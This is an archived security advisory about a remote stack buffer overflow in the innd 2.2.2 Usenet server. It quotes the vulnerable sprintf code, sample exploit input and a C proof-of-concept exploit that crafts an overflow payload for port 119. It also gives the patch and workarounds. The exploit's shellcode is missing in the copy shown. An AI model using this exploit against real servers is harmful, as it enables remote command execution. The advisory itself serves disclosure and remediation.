Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Unix :: General :: innd9~1.txt

innd 2.2.2 remote buffer overflow




    INND 2.2.2


    Michal Zalewski found following.  Newest innd 2.2.2, probably  the
    most popular  usenet news  server (as  well as  previous versions)
    contain remotely exploitable, trivial on-stack buffer overflow  in
    control articles handler.

    Offending piece of code (in innd/art.c, function ARTcancelverify):

        if (!EQ(local, p)) {
            files = NULL;
            (void)sprintf(buff, "\"%.50s\" wants to cancel %s by \"%.50s\"",
                          p, MessageID, local);
            ARTlog(Data, ART_REJECT, buff);

    Where buff  (local stack  buffer) is  SMBUF bytes  long (it means,
    256 bytes),  but MessageID  can be  up to  1000 almost bytes long.
    This  code  is  reached  when  cancel  request  is sent to special
    newsgroup (called  'control'), and  cancel request  contains valid
    Message-ID,  but  From/Sender  fields  are  different  in   cancel
    request and in original posting.

    How to exploit it?  It  could be a problem for script  kiddies, as
    Message-ID is strictly  checked for non-printable  characters etc.
    But hey, Message-ID  can be used  only as a  padding, and then  we
    can overwrite  return address  with From/Sender  address of cancel
    post!  This field is not verified in any fascist way.   Shellcode?
    Can be  placed anywhere,  quite big  portions of  cancel post  are
    lying in the accessible memory when overflow happens.

    Sample input ("LONGBUFFER" = around 500-600 bytes of AAAs...,  has
    to be the same every time):

        -- input -
        201 XXX InterNetNews NNRP server INN 2.2 23-Oct-1998 ready (posting ok)
        mode reader
        group pl.test
        Message-ID: <none@LONGBUFFER>
        From: <>
        Sender: <>
        Newsgroups: pl.test

        .               <- single dot, comment to avoid mail transfer problems
        group control
        Message-ID: <>
        Approved: <>From: <>
        Sender: <>
        Control: cancel <none@LONGBUFFER>
        Subject: cmsg cancel <none@LONGBUFFER>
        Newsgroups: control

        Damn, cancel it.
        .                       <- single dot
        -- EOF --

    If innd/nnrp  is running  under debugger  like strace,  you'll see
    that  child  process  responsible  for  request handling dies with
    SIGSEGV.  Nice.

    Wojciech Purczynski wrote proof-of-concept exploit.  It is  rather
    trivial to exploit as we have plenty of room to put our shellcode.

     * inndx: innd remote 'news' user/group exploit
     * Written on 12th June 2000 by Wojciech Purczynski
     * <> cliph/ircnet
     * Bug found by Michal Zalewski.
     * Tested on innd-2.2.2-3 default installation on RedHat 6.2.
     * Usage:
     * ./inndx [command [offset]]|nc -i 1 119

    #include <stdio.h>
    #include <unistd.h>

    #define RETADDR 0x8138004 /* we're jumping into the body of cancel msg */
    #define BUFSIZE (256+2*4+4) /* buff + EBP + EIP + Data */
    #define JUNKSIZE strlen("\"\" wants to cancel <> by \"")
    #define NOP 0x90
    #define FAKEPTR 0xbffff1c0
    #define COMMAND "echo U have b33n h@x0r3d hahahah|mail root"
    #define BODYSIZE 999

    /* Code written by me */
    char * run_command=

    int main(int argc, char *argv[])
            int retaddr=RETADDR;
            char messageid[256];
            char sender[16];
            char body[BODYSIZE];
            char * command=COMMAND;
            int midsize;
            int i;

            if (argc>1) command=argv[1];
            if (argc>2) retaddr+=atoi(argv[2]);

            memset(sender, 0, sizeof(sender));
            strcpy(sender+0, "a@a.");           /* EBP */
            *(long*)(sender+4)=(long)retaddr;   /* EIP */
            *(long*)(sender+8)=(long)RETADDR+1000;      /* Data */

            memset(messageid, 'a', sizeof(messageid));
            sprintf(messageid, "%s@a", tmpnam(NULL)+9);

            memset(body, NOP, sizeof(body));
            strcpy(body+sizeof(body)-strlen(run_command)-strlen(command)-2, run_command);
            strcat(body, command);
            strcat(body, "\xff");

            fprintf(stderr, "RETADDR=%p\n", retaddr);
            fprintf(stderr, "COMMAND=%s\n", command);

            printf("mode reader\r\ngroup test\r\npost\r\n");
            printf("Message-ID: <%s>\r\n", messageid);
            printf("From: %s\r\nSender: %s\r\n", sender, sender);
            printf("Newsgroups: test\r\n");
            printf("Subject: blah\r\n");

            printf("group control\r\npost\r\n");
            printf("Message-ID: <%s@test>\r\n", tmpnam(NULL)+9);
            printf("From: a@b.c\r\nSender: a@b.c\r\n");
            printf("Control: cancel <%s>\r\n", messageid);
            printf("Subject: cmsg cancel <%s>\r\n", messageid);
            printf("Newsgroups: control\r\n\r\n%s\r\n.\r\nquit\r\n", body);


    Note  that  this  code  is  only  ever  executed  if  the   option
    "verifycancels"  is  enabled  in  inn.conf.   This  is  *not*  the
    default, and has been recommended against for some time now  since
    it really doesn't do any real  good.  It is enabled by  default in
    RH, and usually is enabled on live innd sites.

    INN 1.7.x  and earlier  is not  affected by  this.  The vulnerable
    code appeared in the 2.x branch.  Obvious fix:

    --- inn/innd/art.c  2000/06/05 22:39:52     1.142
    +++ inn/innd/art.c  2000/06/06 19:31:56     1.143
    @@ -1042,7 +1042,7 @@
         if (!EQ(q, p)) {
            token = NULL;
    -   (void)sprintf(buff, "\"%.50s\" wants to cancel %s by \"%.50s\"",
    +   (void)sprintf(buff, "\"%.50s\" wants to cancel %.70s by \"%.50s\"",
                          p, MessageID, q);
            ARTlog(Data, ART_REJECT, buff);

    Those folks who  want to run  with verifycancels turned  on should
    get  the  latest  STABLE   snapshot  from  /isc/inn/snapshots   on  2.2.3 fixes this.  Workaround in the meantime is  to
    turn off verifycancels in inn.conf.  This whole block of code will
    likely be removed for INN 2.4.

    Note that due to the syntax checking INN performs on message  IDs,
    this will be mildly  difficult to exploit, although  it's probably
    at least theoretically possible.

    For  Caldera  Systems  it  is  known that vulnerable are OpenLinux
    Desktop 2.3  (previous to  inn-2.2.3), OpenLinux  eServer 2.3  and
    OpenLinux eBuilder (previous to inn-2.2.3) and OpenLinux  eDesktop
    2.4 (previous to inn-2.2.3).  If you do not use INN, simply remove
    the package:

        rpm -e inn

    In /etc/news/inn.conf replace the line:

        verifycancels:          true


        verifycancels:          false

    and reload the INN configuration:

        /usr/libexec/inn/bin/ctlinnd reload all 'security fix'

    As for Conectiva Linux (4.0, 4.1, 4.2 and 5.0) use same or:


    Direct links to the packages:

    For Mandrake Linux:


    The  Internet  Software  Consortium  shutted  down  tgis  holewith
    bug-fix release of INN is available at:

    This will be  the final release  of the INN  2.2.x series, barring
    major security  holes.   INN 2.3.0  will be  released shortly, and
    features   a   significantly   different   internal  architecture.
    Development has already begun on the INN 2.4.x series.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH